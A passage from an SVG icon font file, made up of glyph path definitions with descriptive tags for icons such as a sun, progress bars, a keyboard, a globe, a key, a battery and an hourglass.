	s 17.92,10.013, 17.92,22.4c0,4.099,0,18.301,0,22.4C 241.92-6.835, 233.878,3.2, 224,3.2z M 388.976,299.642c 8.758,8.758, 10.17,21.526, 3.181,28.515
	s-19.757,5.578-28.493-3.181c-2.397-2.419-13.261-13.261-15.68-15.68c-8.758-8.758-10.17-21.504-3.181-28.493s 19.779-5.6, 28.515,3.158
	C 375.715,286.381, 386.579,297.222, 388.976,299.642z M 74.682,36.038c-2.419-2.419-13.261-13.283-15.68-15.68c-8.736-8.758-10.147-21.504-3.158-28.493
	c 6.989-6.989, 19.757-5.578, 28.493,3.158c 2.419,2.397, 13.283,13.261, 15.68,15.68c 8.758,8.758, 10.17,21.504, 3.158,28.493
	S 83.418,44.752, 74.682,36.038z M 84.358,324.998C 75.6,333.734, 62.854,335.168, 55.843,328.157S 50.266,308.4, 59.002,299.642
	c 2.419-2.419, 13.261-13.261, 15.68-15.68c 8.758-8.736, 21.504-10.17, 28.493-3.158s 5.6,19.757-3.158,28.493C 97.619,311.715, 86.778,322.579, 84.358,324.998z
	 M 347.962,10.682c 2.419-2.419, 13.283-13.283, 15.68-15.68c 8.758-8.736, 21.526-10.147, 28.515-3.158c 6.989,6.989, 5.555,19.757-3.181,28.493
	c-2.419,2.397-13.283,13.261-15.68,15.68c-8.758,8.736-21.526,10.147-28.515,3.158S 339.248,19.44, 347.962,10.682z" data-tags="sun, brightness, lightness" />
<glyph unicode="&#xe3c9;" d="M 224,231.68c-39.738,0-71.68-31.92-71.68-71.68s 31.92-71.68, 71.68-71.68s 71.68,31.92, 71.68,71.68S 263.738,231.68, 224,231.68z M 224,114.058
	c-25.379,0-45.92,20.563-45.92,45.92c0,25.379, 20.541,45.92, 45.92,45.92s 45.92-20.541, 45.92-45.92C 269.92,134.621, 249.379,114.058, 224,114.058z M 89.6,177.92
	c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92s 21.952,8.019, 21.952,17.92S 101.965,177.92, 89.6,177.92z M 333.917,269.917c-6.989,6.989-19.757,5.578-28.493-3.158
	c-8.758-8.758-10.17-21.504-3.181-28.515s 19.757-5.578, 28.493,3.158C 339.494,250.138, 340.928,262.906, 333.917,269.917z M 358.4,177.92
	c-12.387,0-21.952-8.019-21.952-17.92s 9.587-17.92, 21.952-17.92s 22.4,8.019, 22.4,17.92S 370.787,177.92, 358.4,177.92z M 224,48c-9.878,0-17.92-10.035-17.92-22.4
	c0-12.387, 8.019-22.4, 17.92-22.4s 17.92,10.013, 17.92,22.4C 241.92,37.965, 233.878,48, 224,48z M 117.242,76.358c-8.736-8.758-10.17-21.526-3.181-28.515
	s 19.779-5.555, 28.515,3.181c 8.758,8.758, 10.17,21.526, 3.181,28.515C 138.768,86.506, 126,85.094, 117.242,76.358z M 112.963,268.797
	C 105.952,261.786, 107.386,249.040, 116.144,240.282c 8.758-8.736, 21.504-10.17, 28.515-3.158s 5.578,19.757-3.181,28.493
	C 132.742,274.374, 119.952,275.786, 112.963,268.797z M 306.544,52.122c 8.758-8.736, 21.504-10.147, 28.493-3.158s 5.578,19.757-3.158,28.493
	c-8.758,8.758-21.526,10.17-28.515,3.181S 297.786,60.858, 306.544,52.122z M 224,272c 9.878,0, 17.92,10.035, 17.92,22.4S 233.878,316.8, 224,316.8S 206.080,306.765, 206.080,294.4
	S 214.122,272, 224,272z" data-tags="sun, brightness, lightness" />
<glyph unicode="&#xe3ca;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.84,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z" data-tags="progress-0, bar, loading" />
<glyph unicode="&#xe3cb;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z M 156.8,204.352L 67.2,204.352 
			l0-88.682 l 89.6,0 L 156.8,204.352 z" data-tags="brogress-1, bar, loading" />
<glyph unicode="&#xe3cc;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z M 268.8,204.352L 179.2,204.352 
			l0-88.682 l 89.6,0 L 268.8,204.352 z M 156.8,204.352L 67.2,204.352 l0-88.682 l 89.6,0 L 156.8,204.352 z" data-tags="progress-2, bar, loading" />
<glyph unicode="&#xe3cd;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z M 380.8,204.352l-89.6,0 
			l0-88.682 l 89.6,0 L 380.8,204.352 z M 268.8,204.352L 179.2,204.352 l0-88.682 l 89.6,0 L 268.8,204.352 z M 156.8,204.352L 67.2,204.352 l0-88.682 l 89.6,0 L 156.8,204.352 z" data-tags="progress-3, bar, loading" />
<glyph unicode="&#xe3ce;" d="M 403.2,361.6L 44.8,361.6 C 20.16,361.6,0,341.44,0,316.8l0-268.8 c0-24.64, 20.16-44.352, 44.8-44.352l 89.152,0 L 133.952,47.552 l-89.6,0 L 44.352,254.080 l 359.296,0 l0-206.528 l-89.6,0 l0-43.926 L 403.2,3.626 c 24.662,0, 44.8,19.734, 44.8,44.352L 448,316.8 
	C 448,341.44, 427.862,361.6, 403.2,361.6z M 58.262,287.008c-9.296,0-16.8,7.325-16.8,16.352s 7.504,16.352, 16.8,16.352c 9.274,0, 16.8-7.325, 16.8-16.352
	S 67.536,287.008, 58.262,287.008z M 103.062,287.008c-9.296,0-16.8,7.325-16.8,16.352s 7.504,16.352, 16.8,16.352c 9.274,0, 16.8-7.325, 16.8-16.352
	S 112.336,287.008, 103.062,287.008z M 403.67,289.472L 133.952,289.472 L 133.952,317.248 l 269.696,0 L 403.648,289.472 z M 222.835,200.902l-108.685-108.013l 67.2,0 L 181.35-41.6 l 82.97,0 l0,134.49 l 67.2,0 L 222.835,200.902z" data-tags="publish, upload, load, import, open" />
<glyph unicode="&#xe3cf;" d="M 403.2,339.2L 44.8,339.2 C 20.16,339.2,0,319.040,0,294.4l0-268.8 c0-24.662, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.138, 44.8,44.8L 448,294.4 C 448,319.040, 427.84,339.2, 403.2,339.2z M 103.040,297.312
	c 9.296,0, 16.8-7.302, 16.8-16.33c0-9.050-7.504-16.352-16.8-16.352S 86.24,271.933, 86.24,280.96C 86.24,290.010, 93.766,297.312, 103.040,297.312z M 41.44,280.96
	c0,9.027, 7.504,16.33, 16.8,16.33S 75.040,290.010, 75.040,280.96c0-9.050-7.504-16.352-16.8-16.352S 41.44,271.933, 41.44,280.96z M 403.648,25.6L 44.352,25.6 L 44.352,231.68 l 359.296,0 
	L 403.648,25.6 z M 403.648,267.52L 134.4,267.52 L 134.4,294.4 l 269.248,0 L 403.648,267.52 z" data-tags="browser, window, program, app" />
<glyph unicode="&#xe3d0;" d="M 416.64,294.4L 31.36,294.4 C 14.112,294.4,0,280.288,0,263.040l0-206.102 C0,39.712, 14.112,25.6, 31.36,25.6l 385.28,0 c 17.27,0, 31.36,14.112, 31.36,31.338L 448,263.040 C 448,280.288, 433.888,294.4, 416.64,294.4
	z M 246.4,249.6l 44.8,0 l0-44.8 l-44.8,0 L 246.4,249.6 z M 313.6,182.4l0-44.8 l-44.8,0 L 268.8,182.4 L 313.6,182.4 z M 179.2,249.6l 44.8,0 l0-44.8 L 179.2,204.8 L 179.2,249.6 z M 246.4,182.4l0-44.8 L 201.6,137.6 L 201.6,182.4 L 246.4,182.4 z M 112,249.6l 44.8,0 l0-44.8 L 112,204.8 L 112,249.6 z M 179.2,182.4l0-44.8 L 134.4,137.6 L 134.4,182.4 L 179.2,182.4 z M 44.8,249.6l 44.8,0 l0-44.8 L 44.8,204.8 L 44.8,249.6 z M 112,182.4l0-44.8 L 67.2,137.6 L 67.2,182.4 L 112,182.4 z M 89.6,70.4
	L 44.8,70.4 l0,44.8 l 44.8,0 L 89.6,70.4 z M 336,70.4L 112,70.4 l0,44.8 l 224,0 L 336,70.4 z M 403.2,70.4l-44.8,0 l0,44.8 l 44.8,0 L 403.2,70.4 z M 336,137.6L 336,182.4 l 44.8,0 l0-44.8 L 336,137.6 z M 403.2,204.8l-89.6,0 L 313.6,249.6 l 89.6,0 L 403.2,204.8 z" data-tags="keyboard, type" />
<glyph unicode="&#xe3d1;" d="M 224,375.062c-118.586,0-215.040-96.499-215.040-215.062c0-118.586, 96.454-215.062, 215.040-215.062s 215.040,96.477, 215.040,215.062
	C 439.040,278.563, 342.586,375.062, 224,375.062z M 407.411,160c0-41.955-14.246-80.662-37.99-111.574c-6.72,5.264-13.843,19.443-7.123,34.138
	c 6.765,14.784, 8.534,49.011, 6.989,62.317c-1.478,13.306-8.4,45.382-27.216,45.696c-18.749,0.291-31.629,6.474-42.784,28.739
	c-23.139,46.301, 43.434,55.216, 20.294,80.864c-6.474,7.19-39.939-29.658-44.845,19.443C 274.4,323.139, 277.76,328.403, 282.24,333.846
	C 354.906,309.43, 407.411,240.752, 407.411,160z M 198.8,341.574C 194.432,333.062, 182.851,329.568, 175.795,323.139C 160.496,309.296, 153.91,311.2, 145.645,297.894
	c-8.288-13.306-35.078-32.458-35.078-42.090c0-9.61, 13.53-20.989, 20.294-18.771c 6.765,2.24, 24.595,2.106, 35.078-1.568
	c 10.506-3.718, 87.696-7.414, 63.078-72.666c-7.795-20.742-41.933-17.248-51.027-51.61c-1.366-5.040-6.070-26.566-6.406-33.6
	c-0.538-10.886, 7.706-51.923-2.8-51.923c-10.55,0-38.909,36.714-38.909,43.366s-7.37,29.994-7.37,49.952s-33.981,19.645-33.981,46.189
	c0,23.968, 18.435,35.885, 14.291,47.331c-4.077,11.424-36.445,11.827-49.93,13.216C 76.451,286.918, 131.936,332.346, 198.8,341.574z M 166.32-14.048
	c 11.021,5.802, 12.141,13.328, 22.131,13.731c 11.424,0.493, 20.72,4.458, 33.578,7.28c 11.446,2.486, 31.875,14.090, 49.907,15.568
	c 15.165,1.254, 45.136-0.784, 53.2-15.434c-29.030-19.264-63.795-30.509-101.136-30.509C 203.84-23.411, 184.464-20.096, 166.32-14.048z" data-tags="earth, globe, planet" />
<glyph unicode="&#xe3d2;" d="M 224,113.43c 53.536,0, 98.358,18.189, 101.069,41.955c-7.952,22.333-16.643,46.682-25.178,70.627c-5.914-17.069-38.64-29.12-75.891-29.12
	S 154.045,208.922, 148.086,225.99C 139.552,202.045, 130.906,177.718, 122.931,155.363C 125.642,131.619, 170.442,113.43, 224,113.43z M 224,263.622
	c 25.155,0, 48.541,7.795, 55.395,19.891c-9.43,26.499-17.539,49.213-22.669,63.549C 253.344,356.627, 237.91,361.6, 224,361.6S 194.656,356.627, 191.274,347.085
	c-5.13-14.336-13.216-37.072-22.669-63.549C 175.459,271.418, 198.845,263.622, 224,263.622z M 420.672,91.322l-84.112,33.891l 9.699-27.037
	c-0.493-28.627-56.112-51.475-122.259-51.475s-121.766,22.848-122.237,51.475l 9.677,27.037L 27.328,91.322c-23.587-9.52-24.573-27.104-2.218-39.088
	l 158.189-84.829c 22.378-11.984, 59.002-11.984, 81.379,0l 158.189,84.829C 445.267,64.218, 444.259,81.802, 420.672,91.322z" data-tags="cone, traffic, construction" />
<glyph unicode="&#xe3d3;" d="M 403.2,294.4l-22.4,0 l0-336 l 22.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,249.6 C 448,274.24, 427.84,294.4, 403.2,294.4z M0,249.6l0-246.4 c0-24.64, 20.16-44.8, 44.8-44.8l 22.4,0 L 67.2,294.4 L 44.8,294.4 C 20.16,294.4,0,274.24,0,249.6z M 300.16,341.283
	C 284.906,348.384, 260.557,361.6, 224,361.6S 163.094,348.384, 147.84,341.283L 147.84,294.4 L 98.56,294.4 l0-336 l 250.88,0 L 349.44,294.4 L 300.16,294.4 L 300.16,341.283 z M 273.28,294.4L 174.72,294.4 L 174.72,324.304 C 186.659,329.456, 203.795,334.72, 224,334.72
	s 37.318-5.242, 49.28-10.394L 273.28,294.4 z" data-tags="suitcase, luggage, portfolio" />
<glyph unicode="&#xe3d4;" d="M 61.891,80.211c-33.914-33.331-5.264-67.558-50.333-118.294c-20.339-22.893, 83.731-15.904, 135.296,34.787
	c 21.862,21.482, 15.702,52.819-7.75,75.891C 115.651,95.645, 83.754,101.693, 61.891,80.211z M 437.718,369.261c-17.405,17.091-210.090-137.312-267.456-193.693
	c-28.47-27.978-37.968-42.986-46.704-54.208c-3.786-4.883, 1.232-6.384, 3.472-7.549c 11.267-5.734, 19.152-11.066, 29.366-21.101
	c 10.214-10.013, 15.658-17.763, 21.482-28.851c 1.165-2.218, 2.71-7.146, 7.661-3.405c 11.424,8.579, 26.678,17.92, 55.126,45.898
	C 298.032,162.733, 455.078,352.147, 437.718,369.261z" data-tags="brush, painting, art" />
<glyph unicode="&#xe3d5;" d="M 274.691,102.477c0,0, 158.122,114.083, 140.582,244.675c-0.403,2.867-1.344,4.749-2.509,6.026c-1.232,1.187-3.069,2.173-5.891,2.576
	C 279.261,373.651, 167.776,211.856, 167.776,211.856C 71.053,223.459, 78.086,204.15, 33.958,98.176c-8.445-20.205, 5.242-27.171, 20.25-21.482
	c 15.008,5.645, 48.138,18.166, 48.138,18.166l 57.994-59.338c0,0-12.23-33.891-17.763-49.235c-5.533-15.389, 1.254-29.389, 21.011-20.765
	C 267.165,10.704, 286.026,3.514, 274.691,102.477z M 297.27,234.995c-13.395,13.709-13.395,35.93,0,49.638c 13.395,13.686, 35.101,13.686, 48.496,0
	c 13.418-13.686, 13.418-35.93,0-49.638C 332.394,221.264, 310.666,221.264, 297.27,234.995z" data-tags="rocket, space, speed, fast, quick, jet" />
<glyph unicode="&#xe3d6;" d="M 224,343.68c-95.85,0-155.411-31.584-152.186-57.21l 32.301-265.821C 105.392,10.301, 153.866-23.613, 224-23.68
		c 70.157,0.067, 118.608,34.003, 119.907,44.33l 32.278,265.821C 379.411,312.096, 319.872,343.68, 224,343.68z M 224,247.562C 153.866,247.629, 104.093,272.605, 104.093,281.946
		C 104.070,291.219, 153.866,316.262, 224,316.218c 70.134,0.022, 119.93-24.998, 119.907-34.272C 343.907,272.605, 294.157,247.629, 224,247.562z" data-tags="cup, trash, bin, container, glass" />
<glyph unicode="&#xe3d7;" d="M 418.522,128.685l-70.515,167.821c-5.555,11.2-20.339,20.362-32.861,20.362L 132.877,316.867 c-12.522,0-27.306-9.162-32.883-20.362l-70.493-167.821
		c-5.6-11.2-8.49-30.464-6.429-42.829l 15.232-82.566c 2.061-12.342, 13.955-22.445, 26.454-22.445l 318.528,0 c 12.522,0, 24.416,10.102, 26.477,22.445
		l 15.232,82.566C 426.989,98.198, 424.122,117.485, 418.522,128.685z M 387.968,69.862l-5.779-33.645c-1.747-12.925-13.395-23.498-25.85-23.498L 91.661,12.72 
		c-12.477,0-24.102,10.573-25.85,23.498l-5.802,33.645c-1.725,12.925, 7.056,23.498, 19.555,23.498l 288.87,0 
		C 380.934,93.338, 389.715,82.787, 387.968,69.862z" data-tags="drive, storage, disk, hdd, partition" />
<glyph unicode="&#xe3d8;" d="M 272.474-16.042c-0.627-6.944, 4.861-13.082, 12.23-13.686l 89.264-7.325c 7.347-0.605, 13.91,4.547, 14.538,11.491l 6.989,73.606
	l-116.054,9.565L 272.474-16.042z M 52.506,48.022l 6.966-73.606c 0.65-6.944, 7.213-12.096, 14.56-11.491l 89.264,7.325
	c 7.347,0.605, 12.858,6.765, 12.208,13.686l-6.989,73.629L 52.506,48.022z M 41.014,169.341l 7.19-75.936l 116.054,9.542L 157.046,178.816
	C 156.89,180.63, 156.8,182.534, 156.8,184.394C 156.8,219.248, 186.95,247.584, 224,247.584s 67.2-28.358, 67.2-63.19c0-1.859-0.090-3.741-0.269-5.578l-7.168-75.869l 116.032-9.542
	l 7.19,75.936C 407.434,174.358, 407.68,179.398, 407.68,184.394C 407.68,279.638, 325.27,357.12, 224,357.12S 40.32,279.638, 40.32,184.394
	C 40.32,179.398, 40.566,174.358, 41.014,169.341z" data-tags="magnet, magnifier" />
<glyph unicode="&#xe3d9;" d="M 253.814,352.64L 253.814,352.64c-109.939,0-179.155-37.878-174.518-68.32C 80.64,275.629, 84.336,251.952, 89.018,222.16
	c-53.872-20.922-71.725-54.813-69.328-82.477c 2.822-32.726, 32.278-67.76, 96.947-73.83c 36.915-3.427, 81.334,16.8, 110.141,51.408
	c-2.755,4.659-4.323,10.035-4.323,15.837c0,17.315, 14.022,31.36, 31.338,31.36s 31.36-14.045, 31.36-31.36c0-17.069-13.664-30.934-30.643-31.315
	c-34.272-44.195-86.442-70.851-135.856-67.738c 1.142-7.28, 1.59-10.035, 2.15-13.731c 2.038-12.947, 52.573-52.864, 132.989-52.931l 0.022,0 
	c 80.416,0.067, 130.973,39.984, 132.989,52.931C 388.797,33.194, 423.584,253.408, 428.288,284.32C 432.947,314.739, 363.709,352.64, 253.814,352.64z M 50.938,142.416
	c-1.232,14.381, 10.192,33.533, 43.075,47.914c 4.726-30.038, 9.878-62.653, 14.403-91.28C 72.486,106.106, 52.461,124.832, 50.938,142.416z M 253.792,237.862
	C 173.376,237.907, 116.323,267.766, 116.323,278.899c-0.045,11.088, 57.053,40.992, 137.469,40.947c 80.416,0.045, 137.536-29.859, 137.491-40.947
	C 391.283,267.766, 334.23,237.907, 253.792,237.862z" data-tags="bucket" />
<glyph unicode="&#xe3da;" d="M 345.139,160c0,61.958, 28.605,96.768, 51.005,96.768c 8.154,0, 29.434,0, 29.434,0C 410.637,280.49, 398.272,294.4, 343.683,294.4L 119.504,294.4 
	C 35.862,294.4,0,217.322,0,160s 35.862-134.4, 119.504-134.4l 224.179,0 c 54.611,0, 66.954,13.91, 81.917,37.654c0,0-7.034,0-29.434,0S 345.139,98.064, 345.139,160z
	 M 284.211,119.814c-3.651-5.645-15.12-0.358-15.12-0.358l-66.237,29.926c0,0-5.914-14.986-10.483-25.536s-8.086-22.512-27.082-9.139
	c-19.018,13.373-80.192,72.8-80.192,72.8s-7.75,6.339-3.875,12.32C 84.874,205.472, 96.342,200.186, 96.342,200.186l 66.237-29.926
	c0,0, 5.914,14.963, 10.483,25.536C 177.632,206.323, 181.149,218.307, 200.144,204.934c 19.018-13.373, 80.214-72.822, 80.214-72.822S 288.064,125.795, 284.211,119.814z
	 M 422.8,206.435l-16.755,0 c-12.544,0-24.774-16.912-24.774-44.352s 12.253-44.33, 24.774-44.33l 16.755,0 c 12.522,0, 25.2,16.89, 25.2,44.33
	S 435.322,206.435, 422.8,206.435z" data-tags="battery, charging, power" />
<glyph unicode="&#xe3db;" d="M 396.256,278.138c-11.245,66.707-72.128,111.261-135.946,99.478c-63.84-11.76-117.69-63.078-106.445-129.786C 156.307,233.472, 163.005,210.982, 170.957,194.854
	l-115.92-172.995c-4.278-6.384-6.698-17.898-5.421-25.558l 7.459-44.15c 1.299-7.661, 8.355-12.813, 15.68-11.469l 33.958,6.25
	c 7.347,1.366, 16.643,7.818, 20.698,14.358l 45.853,74.144l 0.403,0.47l 31.024,5.734l 53.514,86.867c 17.606-3.114, 42.829-2.061, 57.747,0.694
	C 379.814,140.982, 407.523,211.43, 396.256,278.138z M 339.718,243.955c-17.562-26.186-35.459-7.728-60.547,10.64
	c-25.066,18.346-47.824,29.635-30.262,55.821c 17.562,26.208, 52.102,32.592, 77.19,14.224C 351.187,306.294, 357.28,270.141, 339.718,243.955z" data-tags="key, password, login, sign in, log in, signin" />
<glyph unicode="&#xe3dc;" d="M 118.115,229.126c 4.502,0, 8.848-0.672, 12.925-1.949C 146.496,244.493, 163.632,260.262, 182.179,274.24C 181.418,277.488, 180.947,280.893, 180.947,284.41
	c0,4.883, 0.806,9.542, 2.285,13.888C 162.467,313.216, 139.843,325.715, 115.83,335.392C 93.274,321.459, 73.629,303.293, 57.971,282.013
	c 11.626-20.586, 25.469-39.782, 41.171-57.277C 104.899,227.536, 111.328,229.126, 118.115,229.126z M 74.278,185.29c0,6.138, 1.277,12.006, 3.562,17.315
	C 63.795,218.061, 51.027,234.726, 39.85,252.512C 25.85,224.691, 17.92,193.264, 17.92,160c0-38.55, 10.618-74.592, 29.030-105.437
	c 6.563,37.072, 19.062,72.128, 36.288,104.25C 77.638,166.16, 74.278,175.322, 74.278,185.29z M 224.784,328.269c 11.603,0, 22.086-4.525, 29.926-11.85
	c 22.87,9.834, 46.973,17.382, 72.038,22.198C 296.486,356.045, 261.43,366.080, 224,366.080c-25.514,0-49.93-4.682-72.464-13.171
	c 17.898-8.848, 34.966-19.13, 50.982-30.778C 209.059,326.006, 216.653,328.269, 224.784,328.269z M 290.371,121.741c 2.733,5.69, 6.608,10.707, 11.402,14.694
	c-12.947,39.827-33.443,76.25-59.853,107.61c-5.264-2.24-11.043-3.472-17.136-3.472c-9.498,0-18.278,3.069-25.469,8.198
	c-15.904-12.074-30.598-25.626-43.971-40.41C 159.51,201.664, 161.952,193.779, 161.952,185.29c0-4.592-0.694-8.982-1.994-13.149
	C 198.419,146.448, 242.682,128.819, 290.371,121.741z M 347.245,62.538c 0.582-8.288, 0.918-16.666, 0.918-25.11c0-14.896-0.963-29.523-2.755-43.926
	c 34.966,25.536, 61.555,61.757, 74.995,103.914c-15.904-3.853-32.211-6.608-48.854-8.198C 367.629,77.232, 358.714,67.51, 347.245,62.538z
	 M 280.090,92.285c-50.87,8.422-98.045,27.821-139.082,55.642c-6.675-4.099-14.47-6.496-22.87-6.496c-3.091,0-6.070,0.336-8.982,0.941
	c-19.645-37.274-32.211-78.848-35.84-122.886c 19.622-21.034, 43.568-37.968, 70.47-49.347C 177.162,21.456, 223.843,63.949, 280.090,92.285z M 362.342,312.723
	c-33.018-3.181-64.557-11.469-93.923-23.923c 0.179-1.434, 0.246-2.912, 0.246-4.39c0-6.922-1.635-13.44-4.502-19.242
	c 29.344-34.451, 52.125-74.592, 66.528-118.518c 17.808-0.336, 33.062-11.245, 39.626-26.768c 19.846,2.016, 39.155,5.824, 57.77,11.29
	C 429.363,140.579, 430.080,150.189, 430.080,160C 430.080,220.57, 403.939,275.046, 362.342,312.723z M 302.154,68.854c-52.528-24.595-96.41-62.474-128.218-108.774
	C 189.952-43.93, 206.73-46.080, 224-46.080c 31.114,0, 60.547,6.922, 86.979,19.242c 4.234,20.765, 6.496,42.246, 6.496,64.266
	c0,7.93-0.381,15.814-0.963,23.632C 311.226,62.739, 306.365,65.405, 302.154,68.854z" data-tags="network, globe, sphere" />
<glyph unicode="&#xe3dd;" d="M 442.467,140.266c-13.978,38.259-53.021,61.085-104.429,61.085c-1.994,0-3.942-0.067-5.869-0.157l-0.336,46.189
	c0,0, 76.362,13.194, 78.938,13.642s 3.002,2.666, 2.464,5.152c-0.515,2.486-3.741,19.802-4.211,21.885c-0.627,2.912-2.307,2.845-4.637,2.442
	s-72.822-10.349-72.822-10.349s-0.246,43.77-0.269,46.57c-0.022,2.8-1.568,3.562-4.346,3.517c-2.8-0.045-20.63-0.314-22.982-0.358
	c-2.352-0.022-3.651-1.098-3.606-3.338c 0.045-2.24, 0.739-51.654, 0.739-51.654s-68.589-11.85-70.47-12.163s-3.808-1.21-3.36-3.203
	c 0.426-1.994, 4.256-24.483, 4.659-26.253c 0.381-1.77, 1.59-2.845, 4.189-2.397s 65.52,11.312, 65.52,11.312l 0.784-45.203
	c-24.125-6.339-40.342-18.458-50.534-29.187c-17.203-18.077-27.037-42.269-27.037-66.371c0-35.571, 21.728-56.65, 52.125-60.368
	c 70.851-8.669, 114.666,68.522, 129.248,105.594c 24.595-33.712, 5.757-97.53-46.906-133.93c-0.941-0.694-2.173-2.89-0.717-4.637
	s 12.096-14.829, 13.866-16.979c 1.77-2.106, 4.614-1.277, 5.734-0.47C 434.426,29.318, 460.186,91.702, 442.467,140.266z M 276.998,68.877
	c-21.616,2.71-21.123,20.474-21.123,32.547c0,17.315, 7.325,35.392, 19.6,48.294c 7.526,7.907, 16.8,13.91, 27.53,17.898l 1.837-95.805
	C 296.262,68.877, 286.989,67.645, 276.998,68.877z M 331.386,81.242l 1.008,92.042c 1.882,0.090, 3.741,0.224, 5.645,0.224
	c 17.315,0, 33.488-3.248, 42.246-8.109C 389.043,160.538, 357.37,104.65, 331.386,81.242z M 130.883,253.005C 130.211,255.11, 128.598,256.23, 126.515,256.23
	l-43.68,0 c-2.061,0-3.696-1.12-4.346-3.226C 69.283,223.907, 0.515,6.784, 0.179,5.686c-0.381-1.187-0.246-1.702, 1.389-1.702l 38.819,0 
	c 1.68,0, 2.218,0.515, 2.531,1.613c 0.358,1.142, 22.602,74.323, 22.602,74.323l 78.31,0 c0,0, 22.243-73.203, 22.579-74.323
	c 0.358-1.098, 0.851-1.613, 2.554-1.613l 38.797,0 c 1.658,0, 1.792,0.515, 1.389,1.702C 208.858,6.784, 140.112,223.907, 130.883,253.005z M 72.285,111.482
	l 32.413,117.6l 32.39-117.6L 72.285,111.482 z" data-tags="language, international" />
<glyph unicode="&#xe3de;" d="M 182.067,74.835c-15.456-26.79-5.062-48.832, 16.374-61.197s 45.741-10.394, 61.197,16.397c 15.456,26.768, 113.053,265.798, 104.563,270.704
	C 355.734,305.645, 197.523,101.626, 182.067,74.835z M 224,245.075c 9.811,0, 19.376-0.851, 28.694-2.419c 9.811,12.275, 20.81,25.805, 31.494,38.685
	C 265.104,286.874, 244.966,289.875, 224,289.875c-125.597,0-224-105.907-224-241.114c0-8.333, 0.381-16.643, 1.098-24.752
	c 1.098-12.32, 12.096-21.392, 24.304-20.317c 12.32,1.12, 21.414,11.984, 20.317,24.304C 45.114,34.784, 44.8,41.773, 44.8,48.762
	C 44.8,158.835, 123.536,245.075, 224,245.075z M 385.706,217.098c-6.25-16.8-12.858-33.914-18.682-48.72C 389.805,135.45, 403.2,94.166, 403.2,48.762
	c0-7.101-0.314-14.246-0.941-21.168c-1.12-12.32, 7.952-23.206, 20.272-24.349c 0.694-0.067, 1.366-0.090, 2.061-0.090
	c 11.446,0, 21.213,8.758, 22.266,20.362C 447.619,31.805, 448,40.294, 448,48.762C 448,114.864, 424.435,173.955, 385.706,217.098z" data-tags="gauge, meter, dashboard, speed, fast" />
<glyph unicode="&#xe3df;" d="M 349.44,281.453c0,47.936,0,52.618,0,52.618C 349.44,351.766, 293.283,384, 224,384S 98.56,351.766, 98.56,334.070c0,0,0-4.682,0-52.618
		c0-47.936, 86.845-87.517, 86.845-121.453c0-33.958-86.845-73.517-86.845-121.475c0-47.936,0-52.618,0-52.618C 98.56-31.766, 154.717-64, 224-64
		s 125.44,32.234, 125.44,49.93c0,0,0,4.682,0,52.618c0,47.958-86.822,87.517-86.822,121.475C 262.618,193.936, 349.44,233.539, 349.44,281.453z M 133.056,331.83
		c 15.59,9.834, 44.822,24.259, 92.154,24.259c 47.354,0, 89.734-24.259, 89.734-24.259c 3.181-1.926, 15.635-8.602, 7.101-13.642
		c-18.794-11.133-55.53-22.848-98.067-22.848S 145.958,308.266, 127.165,319.398C 118.63,324.461, 133.056,331.83, 133.056,331.83z M 235.222,160
		c0-26.723, 22.31-43.926, 45.965-66.886c 17.27-16.778, 40.88-39.738, 40.88-54.589l0-29.747 c-21.706,10.819-86.71,21.414-86.71,56.090
		c0,17.562-22.714,17.562-22.714,0c0-34.675-65.005-45.27-86.71-56.090l0,29.747 c0,14.829, 23.632,37.811, 40.902,54.589
		C 190.467,116.074, 212.778,133.277, 212.778,160c0,26.723-22.31,43.926-45.942,66.886C 149.565,243.664, 125.933,266.646, 125.933,281.453l-1.053,22.4
		C 147.862,291.488, 184.307,279.683, 224,279.683s 76.317,11.805, 99.299,24.17l-1.232-22.4c0-14.806-23.632-37.789-40.88-54.566
		C 257.533,203.926, 235.222,186.723, 235.222,160z" data-tags="hourglass, busy, waiting, working, loading" />
<glyph unicode="&#xe3e0;" d="M 59.226,241.603c 39.133,33.6, 70.067,60.189, 153.933,12.768c 40.298-22.781, 72.8-31.338, 99.859-31.338c 47.376,0, 78.064,26.365, 104.608,49.146
	c 9.475,8.131, 10.707,22.579, 2.733,32.234s-22.086,10.909-31.562,2.778c-39.133-33.622-70.045-60.189-153.955-12.768
	C 124.006,357.030, 72.083,312.432, 30.374,276.592C 20.922,268.461, 19.69,254.035, 27.642,244.381S 49.75,233.45, 59.226,241.603z M 388.774,192.794
	c-39.133-33.6-70.045-60.189-153.955-12.768C 124.006,242.634, 72.083,198.035, 30.374,162.218c-9.475-8.131-10.707-22.579-2.733-32.234
	s 22.086-10.909, 31.562-2.778c 39.133,33.622, 70.067,60.189, 153.933,12.79c 40.298-22.781, 72.8-31.36, 99.859-31.36c 47.376,0, 78.064,26.365, 104.608,49.168
	c 9.475,8.131, 10.707,22.557, 2.733,32.211C 412.384,199.693, 398.25,200.925, 388.774,192.794z M 388.774,78.397c-39.133-33.6-70.045-60.189-153.955-12.768
